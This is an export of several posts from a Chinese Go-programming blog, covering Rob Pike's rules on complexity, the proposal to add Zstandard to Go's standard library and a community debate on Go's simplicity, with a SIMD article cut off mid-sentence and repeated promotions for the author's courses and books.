2026 年及以后，一张更具竞争力的自己的“早鸟票”。\n如果你渴望在一个高质量的圈子里，与一群志同道合的 Gopher 共同成长，探索 Go \u0026amp; AI 的前沿，那么，这可能是你今年最值得的一笔“自我投资”。\n最后提醒一次：8 折优惠，仅限双十一当天。\n期待在星球里，看到你的身影。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/11/zsxq-11-11-2025/","summary":"\u003ch1 id=\"算了一笔账后这个双十一我决定做个亏本买卖---tony-bai\"\u003e算了一笔账后，这个双十一我决定做个“亏本”买卖 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"算了一笔账后，这个双十一我决定做个“亏本”买卖"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/10/rob-pike-on-complexity\n大家好，我是Tony Bai。\n在软件工程的殿堂里，我们常常将算法和数据结构奉为圭臬。我们痴迷于时间复杂度的优化，热衷于讨论各种精巧的数据结构。然而，Go 语言的联合创始人 Rob Pike 早在其1989年的一篇C 语言编程笔记中，就为我们留下了一份更根本的“忠告”。这份忠告，凝练为五条（或者说六条？）关于如何对抗软件“复杂性”的黄金法则。\n这些法则，诞生于一个需要手动管理内存的时代，却惊人地预言并塑造了 Go 语言的设计哲学。它们的核心思想是：在构建真实世界的软件时，管理复杂性，远比追求算法上的极致精巧更为重要。\n本文，就让我们以一名现代 Gopher 的视角，重新聆听这份来自创始人的忠告，理解为何这五条法则，才是构建健壮、可维护软件的真正基石。\n法则一 \u0026amp; 二：停止猜测，开始测量 法则一：你无法预知程序的时间花销。\n法则二：测量。在测量之前，不要进行性能调优。\n这两条法则是所有性能工作的“第一性原理”。它们共同指向一个核心思想：你的直觉是不可靠的。\n我们很容易陷入一个误区，认为性能瓶颈一定出在某个“看起来很慢”的算法上。然而，在现代计算机体系中，真正的瓶颈往往隐藏在意想不到的地方：一次意料之外的内存分配、一次糟糕的并发同步、或者一次灾难性的缓存未命中。\n一个在“冷路径”上运行的、从 O(N) 优化到 O(1) 的完美算法，其对整体性能的贡献是零。而一个未经测量的、看似无害的“优化”，则可能因为破坏了缓存局部性或引入了锁竞争，反而让程序变得更慢。先找到正确的战场，远比拥有最锋利的武器更重要。\nGo 语言将这两条法则的精神，内化为了其强大的工具链。在你动手将一个 O(N) 的循环优化成 O(log N) 之前，Go 的文化要求你：\n使用 pprof 进行宏观分析：让数据告诉你，你的程序 90% 的时间到底花在了哪里。这份“忠告”要求我们，只对那个压倒性 (overwhelms) 的瓶颈进行优化。 使用 testing.B 进行微观验证：当你找到了瓶颈，并进行了一处“速度骇客” 般的优化后，用基准测试来证明你的修改确实带来了显著的提升。 法则三 \u0026amp; 四：简单胜于花哨 法则三：花哨的算法在 n 很小时很慢，而 n 通常很小。\n法则四：花哨的算法比简单的算法更容易出错，也更难实现。\n这两条法则是对“算法至上主义”的直接挑战。经典的算法复杂度（大O表示法）是一个强大的理论工具，但它在工程实践中具有欺骗性，因为它忽略了常数因子和实现的复杂性。\n一个 O(log n) 的自平衡二叉树，其实现的复杂性、指针跳转带来的缓存不友好性，使得它在处理一个只有几百个元素的“日常问题”时，性能和健壮性可能远不如一个简单的、O(n) 的切片扫描。\n在真实世界的软件中，可读性、可维护性和健壮性，是远比“理论上的最优性能”更为稀缺的资源。一个因过于复杂而充满 Bug 的“花哨”算法，其带来的危害，远大于一个简单、正确但“不够快”的算法。先做对，再做快——并且只有在测量证明有必要时才去做快。\nRob Pike的这两条法则简直就是 Go 语言的设计宣言！\n切片 (slice) 和 map 就是一切：Go 刻意保持其内置数据结构的极度精简，正是因为在 99% 的场景下，它们简单、可预测且“足够好”。 “清晰胜于聪明 (Clear is better than clever)”：这是 Go 社区的集体共识。一段任何人都能在 3 秒钟内读懂的简单 for 循环，其长期维护价值，远高于一段只有作者本人才能看懂的、精巧但晦涩的代码。 法则五：数据为王 法则五：数据为王。如果你选对了数据结构并组织得当，算法几乎总是不言自明的。\n这是所有法则中最具哲学高度的一条。它将我们的注意力，从“如何操作数据”（算法），拉回到了“如何组织数据”（数据结构）。\n因为一个糟糕的数据结构，是任何精妙的算法都无法拯救的。它会迫使你编写出扭曲、晦涩、充满边界情况的“补丁式”代码。而一个优秀的数据结构，则会自然地引导你走向简单、清晰的算法。好的数据结构，是好算法的“母亲”。\n这正是 Fred Brooks 在《人月神话》中思想的精髓：程序设计的核心，应该是对数据的思考和组织，而非对算法的炫技。\n这也是 Go 语言面向组合、基于 struct 设计的灵魂所在。在 Go 中，我们花费最多时间思考的，往往是如何设计出清晰、正交的 struct。\n一旦你的数据结构被设计得当，操作这些数据的方法自然就会变得简单、短小且不言自明。\n// 优秀的设计：数据结构先行 type User struct { ID int Name string Age int Active bool } func (u *User) Deactivate() { ... } func (u *User) IsMinor() bool { ... } // 是否未成年 当你拥有一个设计良好的 User 结构体时，Deactivate 或 IsMinor 这些方法的实现，几乎是“自证”的。\n注：想想将Active换为 StatusFlag int ，Deactivate的实现还是“自证”的吗？\n法则六：没有法则六 “Rule 6. There is no Rule 6.”\n这句俏皮话，是 Rob Pike 编程哲学思想的点睛之笔。它以一种“元规则”的形式，深刻地诠释了前面所有法则的核心精神：对抗不必要的复杂性。它提醒我们，不要让规则本身成为一种新的复杂性来源。\n小结 重温来自1989年 Rob Pike 的这份“忠告”，就像是回到了 Go 语言设计的“原点”。它们清晰地告诉我们，Go 语言的诞生，并非一次偶然的灵光一现，而是一种深思熟虑的、跨越数十年的编程哲学的最终体现。\n在日常的 Go 开发中，我们或许会面临各种算法选择的诱惑。但 Rob Pike 的这些法则提醒我们，退后一步，首先去测量，去选择简单，去精心设计你的数据。这些看似朴素的原则，其重要性，往往超越了任何一个单一的、精巧的算法。因为它们所守护的，是软件项目中最宝贵的资产：长期的可维护性和清晰性。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/10/rob-pike-on-complexity/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/rob-pike-on-complexity-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/10/rob-pike-on-complexity\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/10/rob-pike-on-complexity\"\u003ehttps://tonybai.com/2025/11/10/rob-pike-on-complexity\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在软件工程的殿堂里，我们常常将算法和数据结构奉为圭臬。我们痴迷于时间复杂度的优化，热衷于讨论各种精巧的数据结构。然而，Go 语言的联合创始人 Rob Pike 早在其1989年的一篇\u003ca href=\"https://www.lysator.liu.se/c/pikestyle.html\"\u003eC 语言编程笔记\u003c/a\u003e中，就为我们留下了一份更根本的“忠告”。这份忠告，凝练为五条（或者说六条？）关于如何对抗软件“复杂性”的黄金法则。\u003c/p\u003e","title":"来自 Go 创始人的忠告：这五条关于“复杂性”的法则，比算法更重要"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/08/proposal-zstd\n大家好，我是Tony Bai。\n在 Go 的世界里，一项被社区翘首以盼的提案在沉寂一年后，终于迎来了决定性的进展。2024 年，将 Zstandard 压缩算法纳入标准库的提案（#62513）被正式 Accept，但在那之后便鲜有动静。直到最近的 Go 编译器与运行时会议纪要中透露，这项工作将由社区的明星开发者 Klaus Post 主导推进。\n这意味着，在未来的 Go 版本中，开发者将能开箱即用地获得一个官方维护、安全可靠且性能卓越的压缩工具。这不仅是对 Go 生态的一次重要补强，更将直接为无数 Go 应用带来性能提升、带宽节约和成本削减，真正实现“更快、更省”的承诺。\n同时，这个提案背后曲折的历程——从激烈的技术选型辩论，到精雕细琢的 API 设计，再到因核心团队资源紧张而搁置，最终由社区力量重新激活——本身就是一幅展现 Go 生态演进的生动图景。\n在本文中，我们将探讨 Zstandard 脱颖而出的技术优势，剖析其在工业界的成功案例，并揭示 compress/zstd 标准库从提案、API 设计到最终由社区力量重启的完整历程。\nZstandard：为何是它，而非其他？ 在决定为标准库引入新的压缩算法时，Go 团队面临着众多选择。提案发起者 dsnet 在讨论中进行了一次精彩的“选美”，清晰地阐述了为何 Zstandard (Zstd) 能够脱颖而出：\nZstandard (Zstd): 由 Facebook (现 Meta) 开发并开源，拥有极佳的压缩/解压速度和出色的压缩比。更重要的是，它有正式的 RFC 规范（RFC 8878），这对于标准库实现的“正确性”至关重要。 Brotli: 同样优秀，但在设计上更偏向 Web 静态内容，且其庞大的静态字典（约 120KiB）与 Go 追求小体积静态二进制文件的哲学相悖。 XZ (LZMA): 拥有极高的压缩比，但代价是极其缓慢的压缩和解压速度，不适合通用场景。且缺乏正式的、明确的规范。 Snappy / LZ4: 追求极致的速度，但在压缩比上做出了巨大牺牲，应用场景相对小众。 Zstd 巧妙地结合了 LZ77 算法和一种名为 ANS (Asymmetric Numeral Systems) 的现代熵编码技术，在性能、压缩比和资源消耗之间取得了近乎完美的平衡，使其成为替代 Gzip 的“天选之子”。\n注：截至Go 1.25.3版本，Go compress目录下提供了多种压缩算法的实现：bzip2实现了Burrows-Wheeler变换及霍夫曼编码；flate提供了DEFLATE算法核心，结合了LZ77和霍夫曼编码；gzip和zlib则分别将DEFLATE算法封装为gzip文件格式和zlib数据流格式；lzw实现了Lempel-Ziv-Welch算法。这些包共同为Go语言提供了多样化的数据压缩与解压缩能力。\n注：Zstandard最新RFC规范为RFC 9659。\n工业界验证：Discord 与 Cloudflare 的性能飞跃 理论上的优势必须经过实践的检验。Zstd 在工业界的应用早已硕果累累。\n**Discord 的 40% 带宽削减：** 通讯巨头 Discord 在将其实时网关的压缩算法从 zlib (Gzip) 迁移到流式 Zstandard 后，获得了惊人的收益。对于核心的 MESSAGE_CREATE 事件，压缩时间缩短了一半以上，负载体积也显著减小。这直接转化为更低的服务端 CPU 占用和客户端带宽节省，最终实现了 整体 Websocket 流量降低 40% 的壮举。\n**Cloudflare 的容器镜像加速：** 在其全球容器平台上，Cloudflare 需要快速分发巨大的 AI 模型镜像（常超过 15GB）。通过将镜像层压缩算法从 Gzip 更换为 Zstd，一个 30GB 镜像的拉取时间从 8 分钟骤降至 4 分钟，速度翻倍，极大地提升了全球调度的灵活性和响应速度。\n这些案例雄辩地证明，Zstd 是为现代高吞吐量、低延迟应用而生的。\nAPI 设计的艺术：一场关于简洁、安全与未来的辩论 将新包引入标准库，API 的设计是重中之重。#62513 的讨论串完整记录了 compress/zstd API 从雏形到最终形态的演进过程。\n核心原则：安全与一致性 提案伊始，就确立了两大基石：\n安全优先： 标准库实现必须是纯 Go版本，不使用 unsafe 或汇编。dsnet 强调：“Go 社区调查一致显示，安全性比性能更重要。” 这意味着标准库版本追求的是可审查性、可维护性和跨平台的一致性，而非极致的性能。 API 一致性： 新 API 应与 compress/gzip、compress/flate 等现有包保持风格统一，降低开发者的学习和迁移成本。 社区的声音：Klaus Post 的关键输入 在讨论中，github.com/klauspost/compress 系列库的作者 Klaus Post 扮演了关键角色。他的库是 Go 社区公认的最高性能压缩实现，其丰富的实战经验为标准库的设计提供了宝贵视角。\nKlaus 指出，他自己的库 API 相对复杂，是因为支持多线程、异步等高级特性。他赞同标准库应剥离这些复杂性，提供一个完全同步的、线程安全的 API。同时，他也对字典（Dictionary）功能的 API 设计提出了深刻见解，强调了字典预处理的开销问题，这直接影响了后续 API 的设计。\n最终定稿的 API 经过多轮讨论，由 Russ Cox (rsc) 总结并最终被接受的 API 形态如下(并非最终版)：\npackage zstd const ( NoCompression = 0 BestSpeed = 1 BestCompression = 9 DefaultCompression = -1 ) type Dict struct { /* ... */ } func ParseDict(enc []byte) (*Dict, error) // ... 可能还包含 Marshal/Unmarshal 方法 type Reader struct { /* ... unexported fields ... */ } func NewReader(r io.Reader) (*Reader, error) func (z *Reader) Reset(r io.Reader) error func (z *Reader) AddDict(*Dict) func (z *Reader) SetRawDict([]byte) func (z *Reader) Read(p []byte) (int, error) func (z *Reader) Close() error type Writer struct { /* ... unexported fields ... */ } func NewWriter(w io.Writer) *Writer func (z *Writer) Reset(w io.Writer) func (z *Writer) SetLevel(int) error func (z *Writer) AddDict(*Dict) func (z *Writer) SetRawDict([]byte) func (z *Writer) Write([]byte) (int, error) func (z *Writer) Flush() error func (z *Writer) Close() error 这个设计体现了 Go 标准库的哲学：\nSetter 模式： 采用 SetLevel、AddDict 等方法进行配置，而不是更复杂的构造函数重载或函数式选项，兼顾了灵活性和简洁性。 独立的 Dict 类型： 将字典抽象为 Dict 类型，通过 ParseDict 进行预处理。这解决了 Klaus 提出的“重复解析字典开销大”的问题，允许用户一次解析，多次复用。 错误处理： 关键配置（如 SetLevel、ParseDict）返回 error，增强了 API 的健壮性。 漫长的等待与社区英雄的登场 提案于 2024 年被接受，为何直到 2025 年底才真正启动？这背后反映了 Go 核心团队面临的现实挑战。Go 团队规模精简，核心成员的精力需要分配给语言、编译器、运行时等更高优先级的任务。提案发起者 dsnet 也深度参与了 json/v2 等重大项目，无暇分身。\n在此期间，Klaus Post 主动请缨，表示愿意贡献一个精简版的、符合标准库要求的实现。然而，这个提议在当时并未得到明确的推进信号。\n转机出现在 2025 年 11 月的 Go 团队内部会议。纪要显示，团队终于有带宽来审查社区对 compress/flate 和 compress/zstd 的贡献。会议明确提到：“很高兴有社区审查。我们能去问问 k8s 的人吗？”（意指寻求更多社区的反馈和测试）。这标志着官方正式为 Klaus Post 的贡献打开了大门。随后Klaus Post也给出了自己的贡献时间表，大约在2026年Q1提交第一版实现给Go团队审查。\n小结：一次迟到但意义非凡的升级 compress/zstd 的加入，对 Go 生态而言，是一次迟到但意义非凡的升级。它不仅仅是增加了一个功能包，更是一次：\n技术的现代化： 用一个在性能和效率上全面超越 Gzip 的现代算法，武装 Go 的标准库。 生态的成熟： 将社区经过千锤百炼的最佳实践，以安全、稳健的方式融入官方标准。 模式的探索： 展示了在核心团队资源有限的情况下，如何通过与社区领袖的协作，共同推动语言生态向前发展。 对于广大 Go 开发者来说，未来已来。不久之后（或许在 Go 1.27），我们将能以最简单、最 Go-like 的方式，为我们的应用插上 Zstandard 的翅膀，轻松实现性能提升与成本节约。这无疑是 Go 社区协作精神的又一次伟大胜利。\n参考资料 https://github.com/golang/go/issues/62513 https://blog.cloudflare.com/container-platform-preview https://discord.com/blog/how-discord-reduced-websocket-traffic-by-40-percent https://www.rfc-editor.org/rfc/rfc8878 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/08/proposal-zstd/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/proposal-zstd-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/08/proposal-zstd\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/08/proposal-zstd\"\u003ehttps://tonybai.com/2025/11/08/proposal-zstd\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Go 的世界里，一项被社区翘首以盼的提案在沉寂一年后，终于迎来了决定性的进展。2024 年，将 Zstandard 压缩算法纳入标准库的提案（\u003ca href=\"https://github.com/golang/go/issues/62513\"\u003e#62513\u003c/a\u003e）被正式 \u003cstrong\u003eAccept\u003c/strong\u003e，但在那之后便鲜有动静。直到最近的 \u003ca href=\"https://github.com/golang/go/issues/43930#issuecomment-3487773597\"\u003eGo 编译器与运行时会议纪要\u003c/a\u003e中透露，这项工作将由社区的明星开发者 Klaus Post 主导推进。\u003c/p\u003e","title":"Go 标准库将迎来 Zstandard：性能超越 Gzip，让你的应用更快、更省"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/07/go-simple-illusion-easy-to-learn-hard-to-master\n大家好，我是Tony Bai。\n“Go 语言看起来如此简单，我的这种假设是错的吗？”\n近日，一位刚接触 Go 几个月的新手在reddit golang论坛发出了这样一个真诚的提问。他感觉 Go “超级简单”，并好奇自己是否因为初学者的身份，而忽略了语言中那些“疯狂的复杂性”。\n这个问题，立刻引发了社区关注。数百条评论从四面八方涌来，汇成了一场关于 Go 语言简单性本质的深度辩论。最终，社区的集体智慧凝聚成一个经典而又充满辩证性的共识：Go 的简单，是刻意为之的设计；而通往精通之路，则隐藏在简约表象之下的深邃之处。\n本文将带你深入探索这座“简单”的冰山，从其光彩照人的水上部分，一直潜入其复杂深邃的水下世界。\n“蜜月期”——为什么 Go 语言感觉如此简单？ 对于初学者而言，Go 带来的“简单”感受是真实且强烈的。这并非巧合，而是源于 Go 设计者们一系列深思熟虑的“减法”哲学。\n极简的语法与关键字 “25 个关键字，宝贝！” 一位评论者这样感叹道。Go 有意地限制了语言的表面积，仅保留了构建大型系统所必需的核心元素。它只有一个循环结构 for，没有 while、do-while 或 foreach 的变体。这种极简主义，让学习者可以快速掌握语言的全貌，而不必记忆大量特殊语法。\n“所见即所得”的代码 一位来自 Java/Python 背景的开发者分享道：“Go 给你的玩具可能更少，但至少你可以相信，它们不会在调试时反咬你一口。” Go 缺乏猴子补丁 (monkey patching)、复杂的继承体系和隐式的魔法，这意味着代码的行为更加可预测。“代码读起来就像它实际运行的样子，即便这意味着多写几行。”\n“电池自带”的强大标准库 “标准库太棒了，” 社区普遍赞同，“你需要花些时间才能理解，在不引入单个依赖的情况下，你能做多少事情。” 从 HTTP 服务器到密码学工具，Go 的标准库提供了构建现代网络服务所需 90% 的功能，让初学者可以立即开始构建有价值的应用，而无需在茫茫的第三方库中选择和配置。\n幻象的破灭——“简单”背后的隐藏复杂性 当“蜜月期”结束，开发者开始构建更复杂的真实世界系统时，Go 的另一面便会逐渐显现。这份复杂性，并非来自语言本身，而是源于 Go 为了维持简单性，而将复杂性“转移”到的地方。\n并发：Go 的“光荣与荆棘” 这是社区中被提及次数最多的“深水区”。Go 通过 goroutine 和 channel，将并发编程的门槛降到了前所未有的低度。然而，这种易用性也隐藏着巨大的风险。\n“理解并发作为一个概念可能会很复杂，但 Go 让实现它变得简单。”\n但“实现简单”不等于“用对简单”。\nGoroutine 泄露：新手很容易创建出无人“负责”的 goroutine，导致其在后台永久运行，悄无声息地消耗内存和 CPU。 竞态条件 (Race Conditions)：尽管 Go 提供了强大的竞态检测器 (-race)，但理解和避免数据竞争，需要对内存模型和同步原语（如 sync.Mutex）有深刻的理解。 Channel 的滥用：“我数不清有多少次，人们到处使用 goroutine 和 channel，然后好奇为什么他们的项目变得如此之慢。” Channel 是强大的工具，但错误地使用无缓冲 channel、忘记关闭 channel、或用它来解决本该用互斥锁解决的问题，都会导致死锁、性能下降和难以调试的 bug。 精通并发，是区分 Go 新手与专家的第一道分水岭。\n运维复杂性 Go 的设计哲学，在某些方面将应用程序的韧性责任，从语言运行时“推”给了基础设施。这为 Go 程序带来了一种独特的运维复杂性。\n最典型的例子就是 panic 的处理。\n在某些语言中（如 Java），一个未捕获的异常通常只会导致单个线程死亡，而整个应用程序进程会默认继续运行。 但在 Go 中，一个未被 recover 的 panic 会导致整个程序（进程）立即崩溃退出。Go 语言本身不提供自动重启或进程守护的能力，它将这种“灾难恢复”的职责，明确地交给了程序的运行环境。 这意味着，构建一个高可用的 Go 服务，你必须依赖外部系统。正如一位资深开发者在讨论中指出的那样：\n“像 panic 这样的东西，要求你在一个编排器（如 K8s/ECS 等）下运行你的生产系统。”\n这种设计选择，对于新手来说可能是一个认知上的巨大跳跃。他们必须明白，Go 程序的健壮性，并不仅仅是代码层面的 if err != nil，更是在基础设施层面，通过配置进程管理器（如 systemd）或容器编排器（如 Kubernetes）的健康检查和自动重启策略来共同保证的。\nGo 将自己定位为一个用于构建云原生应用的“零件”，而非一个大包大揽的“一体机”。这种对运维环境的隐性依赖，正是其简单性背后的一种深刻权衡。\n“魔鬼在细节中”：切片、接口与错误处理 Go 的一些核心特性，虽然表面简单，但其底层机制却充满了需要深入理解的“微妙之处”。\n切片 (Slices)：新手常常会对其“共享底层数组”的行为感到困惑，不经意间写出因 append 操作导致意外数据修改的 bug。 接口 (Interfaces)：nil 接口与“值为 nil 的接口”之间的区别，是无数 Gopher 都曾踩过的经典“坑”。 错误处理的冗长：if err != nil 虽然明确，但在 LLM 辅助编码时代到来之前，这种冗长曾是许多开发者的抱怨之源。现在，新的挑战变成了如何确保依赖 AI 的新手，能真正理解他们生成的每一行错误处理代码。 精通之路——从“知道”到“理解” 那么，如何跨越从“简单”到“精通”的鸿沟？社区的智慧为我们指明了方向。\n接受 Go 的哲学 Go 是一门**“刻意设计的简单语言”**。它的目标，是让大型团队能够编写出风格统一、易于阅读和维护的代码。这意味着，你需要接受它的“冗长”，理解它为何抵制某些“高级”特性，并学会在其提供的“约束”下优雅地解决问题。\n刻意练习核心概念 不要满足于 API 的表面用法。花时间去：\n画图理解并发模式：亲自绘制 goroutine 如何通过 channel 通信，理解扇入 (fan-in)、扇出 (fan-out) 等模式。 实验切片的底层行为：编写小程序来观察 append 何时会触发底层数组的重新分配。 深入标准库源码：阅读 net/http 或 context 包的源码，是理解 Go 设计哲学的最佳途径。 拥抱“造轮子” “你经常需要‘自己动手造轮子’(roll your own)”，一位开发者评论道。这在 Go 的世界里并非贬义。Go 强大的标准库为你提供了高质量的“零件”，鼓励你根据自己的具体需求，组合出最适合的“轮子”，而不是像其他生态那样，总是先去寻找一个庞大、臃肿的“现成汽车”。\n小结：“简单”是起点，而非终点 回到最初的问题：Go 语言真的简单吗？\n是的，Go 的入口极其简单。 它拥有平缓的学习曲线，让有经验的程序员可以在一周内上手，让新手也能在短时间内构建出有用的程序。\n但精通 Go 绝不简单。 它的真正深度，不在于复杂的语法，而在于理解其并发模型背后的权衡、标准库设计的精妙、以及在简约哲学约束下构建复杂系统的工程智慧。\n正如一位评论者所引用的那句古老格言：“一分钟学会，一辈子精通。” 虽说“一辈子”有些夸张，但这或许是对 Go 语言简单性与复杂性辩证关系的最佳诠释。Go 的“简单”，为你打开了一扇通往高效、可靠软件工程的大门，但门后的风景，需要你用持续的学习和深刻的思考，去亲自探索和领悟。\n资料链接：https://www.reddit.com/r/golang/comments/1oj9jb6/golang_seems_so_simple_am_i_wrong_to_assume_that/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/07/go-simple-illusion-easy-to-learn-hard-to-master/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-simple-illusion-easy-to-learn-hard-to-master-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/07/go-simple-illusion-easy-to-learn-hard-to-master\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/07/go-simple-illusion-easy-to-learn-hard-to-master\"\u003ehttps://tonybai.com/2025/11/07/go-simple-illusion-easy-to-learn-hard-to-master\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“Go 语言看起来如此简单，我的这种假设是错的吗？”\u003c/p\u003e\n\u003cp\u003e近日，一位刚接触 Go 几个月的新手在reddit golang论坛发出了这样\u003ca href=\"https://www.reddit.com/r/golang/comments/1oj9jb6/golang_seems_so_simple_am_i_wrong_to_assume_that/\"\u003e一个真诚的提问\u003c/a\u003e。他感觉 Go “超级简单”，并好奇自己是否因为初学者的身份，而忽略了语言中那些“疯狂的复杂性”。\u003c/p\u003e","title":"Go 的“简单”幻象：易于上手，难于精通"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/06/proposal-simd-cpu-feature-vet-check\n大家好，我是Tony Bai。\nGo 1.26 将于11月份功能特性冻结，其最令人期待的实验特性之一，无疑是simd 包的引入。它承诺为 Go 开发者解锁 SIMD (Single Instruction, Multiple Data) 的强大能力，让我们能编写出榨干现代 CPU 向量化计算潜能的高性能代码。然而，在这片兴奋的浪潮之下，一个不和谐的声音却悄然响起，而这个声音，来自 Go 语言的联合创始人之一——Rob Pike。\n在针对 simd 配套提案（#76175）的讨论中，Pike 罕见地出面，留下了他简短而有力的评论(如上图)：\n“这为一扇通往不断膨胀的复杂性、不兼容性和运行时意外的大门敞开了。我觉得这不那么 Go。”\n当一位以“简单”为毕生追求的语言设计大师，都对一个新特性感到“担忧”时，我们必须停下来，严肃地审视：SIMD 究竟为 Go 带来了怎样一种全新的、甚至可以说是“危险”的复杂性？而 Go 